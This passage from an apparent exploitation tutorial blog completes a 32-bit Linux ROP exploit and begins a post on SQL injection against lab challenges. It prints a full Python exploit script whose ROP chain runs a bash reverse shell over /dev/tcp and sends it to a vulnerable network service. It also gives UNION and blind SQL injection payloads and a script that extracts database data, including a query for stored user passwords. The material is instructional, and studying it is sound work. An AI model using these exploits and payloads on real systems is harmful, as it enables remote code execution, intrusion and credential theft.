0xdddddddd : pointer to args
0xffffffff

At this point all of our strings should be correctly null terminated.

Let's test this, I won't post the exploit script to try and keep the size of this post down a little but all I've done is put the relevant values into the script in the order I've put them in my notes.

To make it easier to break at the end I've put a gadget that I haven't use elsewhere (at 0x808456c) so that I can just break at the end and inspect memory:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) delete 3
(gdb) break *0x0808456c
Breakpoint 4 at 0x808456c
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/appuser/app-net 
0xbfffe930: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe940: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe950: 0x41414141  0x41414141
=> 0x808456c <_dl_get_origin+28>:   mov    ecx,esi

Breakpoint 4, 0x0808456c in _dl_get_origin ()
4: /x $edx = 0xbfffeb38
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0x0
1: /x $ebp = 0xeeeeeeee
(gdb) display/x $ecx
5: /x $ecx = 0xbfffeb74
(gdb) x/xw 0xbfffeb74
0xbfffeb74: 0xbfffeb2c
(gdb) x/s 0xbfffeb2c
0xbfffeb2c:  "////bin/bash"
(gdb) x/s 0xbfffeb2c + 18
0xbfffeb3e:  "-c"
(gdb) x/s 0xbfffeb2c + 18 + 6
0xbfffeb44:  "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"

So our 3 strings are now correctly null terminated.

I calculated the addresses from the value stored at the address that ecx points to (the address of the first pointer that we wrote earlier).

On line 18 I instruct gdb to display the value of ecx, I then use the examine command to display the string at the address contained there.

I then add 18 (the number of bytes until the -c string) and display that string and add another 6 (the number of bytes from that point to the next string) to display the last string.

Writing The Remaining Pointers

As with the code we just wrote I will not go through every step as the method I will use is the same.

I will be working out the address of the first pointer that I need to change (firstly being the pointer to the -c argument string) using eax and ebx and using edx as the point of reference.

I will then be putting that address into edx, working out the address of the string that that pointer should be pointing to using the same method (which stores the address in eax) and then writing the value that eax contains into the address pointed to by edx.

There are 2 pointers that we need to do this for, the pointer to -c and the pointer to the long string (the actual reverse shell).

If you've fully understood the post so far, this should be a reasonably trivial task.

Here is the section of my notes that do this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa6a : (0xaaaaaaaa - 64) = distance from edx to -c arg pointer
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to -c arg pointer from edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of -c arg pointer
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now edx contains address of -c arg pointer
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa70 : (0xaaaaaaaa - 58) = distance from edx to -c arg string
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to -c arg string
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the address of -c arg string
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- now the -c arg pointer contains the address of -c string
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaaa6 : (0xaaaaaaaa - 4) = distance from edx to third arg pointer
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to the third pointer
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- eax contains the address of third pointer
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- edx contains the address of third pointer
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa72: (0xaaaaaaaa - 56) = distance from edx to third arg string
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to the third string
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- eax contains the address of third string
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- third pointer contains address of third string

Now all of the pointers should point to the correct strings.

It's time to test it again, I will be using the same breakpoint trick I used last time:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/appuser/app-net 
0xbfffea38: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffea48: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffea58: 0x41414141  0x41414141
=> 0x808456c <_dl_get_origin+28>:   mov    ecx,esi

Breakpoint 4, 0x0808456c in _dl_get_origin ()
5: /x $ecx = 0xbfffeb74
4: /x $edx = 0xbfffeb7c
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0xbfffeb44
1: /x $ebp = 0xeeeeeeee
(gdb) x/4xw 0xbfffeb74
0xbfffeb74: 0xbfffeb2c  0xbfffeb3e  0xbfffeb44  0x00000000
(gdb) x/s 0xbfffeb2c
0xbfffeb2c:  "////bin/bash"
(gdb) x/s 0xbfffeb3e
0xbfffeb3e:  "-c"
(gdb) x/s 0xbfffeb44
0xbfffeb44:  "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"

Great, so that worked perfectly.

Setting Up The Rest Of The Registers And Inserting The Last Of The Gadgets

We now have everything setup except for the values of the eax, ebx and edx registers.

edx just needs to point to 1 of the nulls that we wrote, ebx should contain the address of the ////bin/bash string and eax should contain the value 11.

We will deal with edx first because we have to use ebx and eax afterwards.

We will then calculate the address that needs to go into ebx.

Lastly we will get 11 into eax and finally run int 0x80.

Here are my full finished notes.

Finishing The Exploit And Testing It

Now that we've got the full size of the exploit we can calculate the size of our code and recalculate the distance from the address that we first receive to our data.

I done this using a python script with all of the gadgets in, you can find that script here.

This shows us that the distance is 908 bytes and not 1000 bytes.

To recalculate this we do the sum 0xaaaaaaaa - (908 + 88) = 0xaaaaa6c6, so this is the new value that we need to pop into ebx at the start of our application to calculate the first address.

Now we have finished writing the exploit:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
#!/usr/bin/env python

import socket

payload = "A" * 532

payload += "\x5a\x71\x07\x08" # ebp = esp

payload += "\xd0\x25\x05\x08" # xchg eax, ebp

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the distance to the end of the payload

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\xc6\xa6\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xab\x32\x07\x08" # eax += ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Write 0 to the end of the data

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Work out the distance to 0xbbbbbbbb

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x9e\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 12) distance to 0xbbbbbbbb
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of 0xbbbbbbbb)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Move address value into ecx

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xa2\xdc\x04\x08" # ecx = eax
payload += "\xee\xee\xee\xee"

############### Work out the distance to ////bin/bash string

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x62\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= distance to string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the address of ////bin/bash string and write to pointer

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x21\x3f\x08\x08" # [edx] = eax

############### Work out the distance to null termination of last string

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\xa6\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx
payload += "\xee\xee\xee\xee" # (= distance to last string termination)
payload += "\xee\xee\xee\xee"

############### Work out the address of null termination of last string

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Write nulls to that address

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Work out the address to -c string termination from edx

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x7a\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 48) distance to -c termination
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of -c termination)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Write nulls to -c termination

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Calculate the address of the last null termination

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\xa2\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 8) distance to last termination
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of last termination)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Write nulls to last termination

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Work out the address of the -c pointer and store in edx

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x6a\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 8) distance to -c pointer
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xab\x32\x07\x08" # eax += ebx (= address of -c pointer)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the address of the -c string and write it

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x70\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 58) distance to -c string
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of -c string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Work out the address of the last string pointer


payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\xa6\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 4) distance to last pointer
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xab\x32\x07\x08" # eax += ebx (= address of last pointer)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the address of the last string and write it

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x72\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 56) distance to last string
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of last string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x21\x3f\x08\x08" # [edx] = eax

############### Work out the address of the nearest nulls to edx
############### and store in edx

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x9e\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 12) distance to nearest nulls
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of nearest nulls)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the address of the /bin/bash string
############### and store in ebx

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x66\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 68) distance to /bin/bash string
payload += "\xee\xee\xee\xee" # from edx
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of /bin/bash string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Calculate 11 into eax and initialize syscall

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xf4\xff\xff\x81" # (0x81ffffe9 + 11) 11 = execve syscall number

payload += "\xcc\xa1\x0a\x08" # eax -= 0x81ffffe9

payload += "\x0d\x8c\x04\x08" # int 0x80

##################### DATA #####################

payload += "////bin/bash"
payload += "\xff\xff\xff\xff"

payload += "\xff\xff" + "-c"
payload += "\xff\xff\xff\xff"

payload += "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"
payload += "\xff\xff\xff\xff"

payload += "\xbb\xbb\xbb\xbb" # pointer to ////bin/bash
payload += "\xcc\xcc\xcc\xcc" # pointer to -c
payload += "\xdd\xdd\xdd\xdd" # pointer to args
payload += "\xff\xff\xff\xff"

# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to 127.0.0.1 port 9999
s.connect(("127.0.0.1", 9999))

# send our payload
s.send(payload)

# close the socket
s.close()

Firstly we need to start netcat listening on port 8000 to catch the reverse shell:

1
[email protected]:~$ nc -l -p 8000

Now we should launch the vulnerable application (notice I'm using a different user to make it more obvious when the exploit works):

1
[email protected]:~$ ./app-net

Lastly we need to launch the exploit and watch the terminal that we are running netcat in:

1
[email protected]:~$ python app-net-rop-exploit.py

Now looking at the terminal with netcat running and test by running some commands:

1
2
3
4
5
6
7
8
9
[email protected]:/home/appuser$ pwd
pwd
/home/appuser
[email protected]:/home/appuser$ whoami
whoami
appuser
[email protected]:/home/appuser$ ls app-net
ls app-net
app-net

PWNED!!! :-D

Conclusion

It's important to realise that this exploit will not work against any other application, and might not even work with the same application run in a different environment (ie. on a different kernel version) or compiled with a different compiler or compiler version.

This is why it's so important to get as much information about the target environment as possible before developing an exploit for it.

That said, if you have understood this post you should now be able to develop a ROP exploit for any application on a 32 bit Linux system and beat both ASLR and NX, you just have to use the methodology we used here.

A bit of creativity needs to be used to create 1 of these exploits.

Happy Hacking :–)

Further Reading

I've not actually read anything relevant to ROP exploitation just simple explainations for how it works.

✇eXploit

SQL Injections

By: 0xe7

Here I will demonstrate how to detect different SQL injection vulnerabilities and how to perform a few different SQL injection types using applications that are vulnerable to a second order SQL injection and 2 different blind SQL injection attacks.

The first I will look at is the second order SQL injection. A second order SQL injection happens when a user input is stored in the database but then later that input is retrieved and used in a different SQL query, its this second SQL query that is vulnerable to SQL injection.

Second Order SQL Injection

The application I will be testing is a challenge at securitytube's SQLi labs, challenge 13, here is challenge from the documentation:

As you can see we are told very little about the application and there are no rules, we just have to find the admin password and login as the admin.

Detection

First we have to look at the application by using it. When we visit the URL in the challenge we get:

By filling out the form and clicking the register me! button we get:

It looks like there is a login page too:

After logging in with the account we have just created we see the following:

So let's try using the classic single quote (') technique to see if anything different happens:

As you can see nothing different about the user account creation process, let's login with this new account:

You can see that the email address is no longer given. We can guess that the username is used in another query to retreive the email address after login and then presented to the user.

Confirmation

Now that we have a suspected SQL injection we need to confirm that it is infact an SQL injection vulnerability.

1 way to do this is by sending a syntactically correct query which is functionally the same as 1 which we know the result of.

To do this we need to guess the query being run, from what we know so far we can guess that the query is something like:

1
SELECT * FROM users WHERE username='[injection point]'

We also know a good username (foobar) and the resulting email address ([email protected]).

For the known good username the query would look something like:

1
SELECT * FROM users WHERE username='foobar'

We can inject foo' 'bar as the username and it would be functionally the same and should result in the same email address being returned.

So the resulting query would look something like:

1
SELECT * FROM users WHERE username='foo' 'bar'

The above will work for MySQL databases but not MSSQL, Oracle or others so this is 1 way we can determine the database software that is in use.

If this doesn't work we could try putting a + inbetween the 2 strings for MSSQL or || for Oracle.

If we also make sure that the email address is different ([email protected]):

We will know if the injection has worked based on the value of the email address that we get back once we log in:

So it worked! Instead of getting back the email address that we registered with we got back the email address of the other account (foobar).

This means that there is almost definitely an exploitable SQL injection vulnerability and it also means we are very likely communicating with a MySQL database.

Exploitation

For exploitation here we are probably need to use a UNION based injection.

The UNION statement allows us to combine the result set of 2 or more SELECT statements.

However, before we can concentrate on exploitation we need to know the number of columns returned in the original query.

1 way we can figure this out by using the ORDER BY keyword.

First we order by 1, this will sort by the first column, so we inject foobar' order by 1 --:

That worked because we received the email address meaning that there is at least 1 column returned, notice that we appended -- after the injection to comment out the rest of the query (the remaining single quote '), so the full query would look something like this:

1
SELECT * FROM users WHERE username='foobar' order by 1 -- '

Now we try ordering by 2 (or the second column):

Here we received no email address meaning that the original query is only returning 1 column, so the query probably looks more like this:

1
SELECT email FROM users WHERE username='foobar' order by 2 -- '

Now that we know the number of columns we can concentrate on the exploitation.

There is 1 more thing we need to do before inserting our UNION statement because the application will probably only return 1 entry from the result set, but we can test this by injecting something that will return more than 1 result:

So it only returned the email address meaning that only the first result is output to the page.

We can fix this by invalidating the first statement by inserting an always false statement after an AND and then inserting our UNION statement after that.

The resulting query will look something like this:

1
SELECT email FROM users WHERE username='foobar' AND 1=0 UNION SELECT CONCAT(@@version,' | ',database(),' | ',current_user()) -- '

Here I am concatenating the output of @@version (which displays the version of the server software), database() (which displays the name of the current database) and current_user() (which displays the current user that the web server is logged into the database):

So the name of the database is 2ndorder, we need this information to solve the challenge.

Concatenation is needed because we only have 1 field where we can return data, but you will see that, even though we only have 1 field, we can use this to return a large amount of data.

We will now use the information found in the previous query to learn the schema of the database.

We will use the information_schema database to find the schema and GROUP_CONCAT to concatenate the rows together:

As you can see, we now have the names of every table and every column in the 2ndorder database.

Now its trivial to get the admin password:

And finally logging in as admin to complete the challenge:

Content-based Blind SQL Injection

The second injection I will demonstrate is a content-based blind SQL injection.

A blind SQL injection is an SQL injection but where the result of the queries aren't output to the page.

What makes it content-based is that the page can be controlled in some manner.

For this I will be looking at challenge 5:

I will not solve the whole of this challenge here but get to a point where its trivial to solve it.

Detection

So we start like normal and use the application, here is the page you see when you load the website:

If we click Submit we get this:

So it looks like it tells us whether or not there were results returned by the query that runs in the background.

As normal we should add a single quote (') to see if we get a reaction:

Confirmation

So the job_title field might be vulnerable to SQL injection but we can try to confirm this using string concatenation, as we did before:

So we got the same result as the original query which strongly suggests that we have an SQL injection here.

Exploitation

This is pretty easy to exploit but we need to use a conditional statement.

We could use CASE but in this case we'll use IF.

This exploit could be made more efficient but I'll demonstrate that in the next example.

For now we'll determine the result byte-by-byte in a sequential manner.

First let's guess at what the actual query looks like:

1
SELECT * from employees where job_title='[injection point]'

What we want to do, based on our findings, is search through a string character by character and normally return no results but if we find the right character then return results.

We can use SUBSTR to search through a string, so if we create a query similar to this:

1
SELECT * from employees where job_title='Project Manager' AND IF((SUBSTR(current_user(), [i], 1)='[c]'),1,0) -- '

This checks the character at position i from the string returned by current_user() against the character c, if they are equal, it returns 1, making the query true and returning results, otherwise it returns 0, making the query false and not returning any results.

This way we will get a different page if the character c is correct than we will if the character is incorrect.

I've found that we can run into problems when we do it this way, the solution is to convert the character into its ascii decimal equivalent using the ASCII function and compare that with a number.

So it ends up like this:

1
SELECT * from employees where job_title='Project Manager' AND IF((ASCII(SUBSTR(current_user(), [i], 1))=[c]),1,0) -- '

Where i is the position as before but c is a numerical representation of a character that we are testing for.

Once we find the right value for c, we increment i and start again, until we've iterated through our whole character set and not found a match which means we've reached the end of the string.

So if the character matches, the page will return results otherwise it will not.

Using this information it is trivial to write a script that uses this technique to find out the current user of the database:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python

import urllib2, string, sys

max = 20

baseurl = "http://192.168.2.11/sqli/sql5/search.php?job_title=Project+Manager%27+and+if%28%28ascii%28substr%28current_user%28%29,"

l = list(string.printable)

try:
    basehtml = urllib2.urlopen("http://192.168.2.11/sqli/sql5/search.php?job_title=%27").read()
except:
    print "dead"
    sys.exit(-1)

for i in range(max):
    newurl = baseurl + str(i+1) + ",1%29%29="
    found = False
    for c in l:
        url = newurl + str(ord(c)) + "%29,1,0%29+--+"
        try:
            html = urllib2.urlopen(url).read()
            if basehtml != html:
                sys.stdout.write(c)
                found = True
                break
        except:
            pass
    if not found:
        break

print ''

You can use this to retrieve any data from the database by just changing current_user() to the query that returns the data that you want, for instance:

1
(select group_concat(concat(User, ' : ', Password) separator ' | ') from mysql.users)

But bare in mind the more data you try to retrieve, the longer it will take.

Time-based Blind SQL Injection

Lastly I want to demonstrate a time-based injection.

A time-based injection is where the attacker injects a time delay into the query based on a condition and determines the result of the condition based on the time is took for the page to return.

For this I will use challenge 10:

This challenge can also be completed using a content-based approach but I will ignore that and use purely a time-based approach.

A time-based attack generally works where others might fail but it takes the longest so depending on the amount of data you want to retrieve, it might not be viable.

1 advantage of a time-based attack rather than the content-based attack that we performed in the last demonstration is that the time-based approach doesn't generate database errors, meaning it has less chance of being noticed.

Detection

So let's first look at the application:

So it looks like some sort of sorting page. We seem to have 3 options (Id, First Name and Surname).

Clicking the Submit Query button gives us:

So its sorted the returned values by the Id field, but this request was a post request so to look at the request properly we need another piece of software.

